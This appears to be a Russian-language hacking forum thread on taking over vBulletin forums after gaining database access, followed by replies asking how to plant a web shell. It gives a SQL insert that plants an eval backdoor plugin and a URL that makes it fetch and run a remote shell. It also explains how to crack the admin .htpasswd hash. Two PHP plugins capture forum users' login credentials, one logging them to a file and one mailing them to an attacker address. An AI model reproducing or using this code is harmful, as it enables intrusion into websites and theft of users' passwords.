Ну так получилось, что админ очередного булкоресурса дебил, конечно, но админка была запаролена, а пасс на бд был довольно таки сложный) Код: **** 123456 и вот, не долго думая, изобрели велосипед=) конечно, можно было и сменить пасс админу в БД, зайти с его акка, только толку, админка все равно под паролем. итак: лезем в БД выполняем запрос Код: INSERT INTO `plugin` (`pluginid`, `title`, `hookname`, `phpcode`, `product`, `devkey`, `active`, `executionorder`) VALUES (123456, 'sort', 'faq_complete', 'eval($_GET[hack]);', 'adv_cmps', '', 1, 5); adv_cmps можно заменить на что нибудь другое, vBulletin, например далее переходим [noparse]http://site.ru/faq.php?hack=eval%28file_get_contents%28%27http:/host/shell.txt[/noparse] идем в папку с админкой, смотрим где лежит .htpasswd открываем .htaccess будет нечто Код: AuthType Basic AuthName "/www/host/admincp" AuthUserFile /var/www/user/data/etc/*numid*.passwd <Limit GET POST> require valid-user </Limit> идем смотреть Код: /var/www/user/data/etc/*numid*.passwd будет что то вроде Код: user:$1$2***************** далее юзаем Extreme GPU Bruteforcer качаем, покупаем софтину, ну или хз где вы возьмете ее идем Код: C:\egb\Hashes\MD5(Unix).txt вставляем туда полученный пароль Код: $1$2***************** настройки находятся в соседней папке Код: Settings\MD5(Unix).ini далее - пуск - выполнить - cmd cd C:\egb\ EGB.exe 22 "Settings\MD5(Unix).ini" "Hashes\MD5(Unix).txt" сколько времени уйдет на расшифровку пароля - зависит целиком и полностью от его сложности ну а после того как расшифруется пароль - заходим в админку и ... profit дальше, чтоб не парится с расшифровкой хешей, я решил повесить на похек0ный форум логгер Местоположение модуля: login_process Заголовок: Любой Порядок выполнения: 5 Код PHP модуля: Код: $log_username = strtolower($vbulletin->GPC["vb_login_username"]); $log_password = $vbulletin->GPC["vb_login_password"]; $log_file = "./ooooooo.html"; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $log_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($log_password) > 1 AND strlen($log_username) > 1) { $fp1 = @fopen($log_file, "a+"); @fwrite($fp1, $log_username . ' : ' . $log_password." (" . $row["email"] . ")\n"); @fclose($fp1); $f = @file($log_file); $new = array_unique($f); $fp = @fopen($log_file, "w"); foreach($new as $values) { @fputs($fp, $values); } @fclose($fp); } } на 3.х работает очень даже, в принципе должен работать и на 4.х и да, лить в includes - профита никакого, там, как то не странно, htaccess с deny from all, в основном и доступа к логам не вы получите, разве что через шелл=)
логгер с отправкой пассов на мыло Код: $lg_username = strtolower($vbulletin->GPC["vb_login_username"]); $lg_password = $vbulletin->GPC["vb_login_password"]; $sql_query = @mysql_query("SELECT * FROM " . TABLE_PREFIX . "user WHERE username='" . $lg_username . "'"); while($row = @mysql_fetch_array($sql_query)) { if(strlen($lg_password) > 1 AND strlen($lg_username) > 1) { $to= "l33th4x0r@d0m41n.com"; $subject = "VB Pass"; $message = $lg_username . ' : ' . $lg_password." (" . $row["email"] . ")\n"; mail($to,$subject,$message,$headers); } }
можно для нубов про http:/host/shell.txt подробнее? надо залить на какой то сторонний сайт файл с таким названием? или что то иное?
а если при переходе по http://site.ru/faq.php?hack=eval(file_get_contents('http:/host/shell.txt шелл не появляется на сайте, то есть еще какие то варианты заливки шелла через базу данных?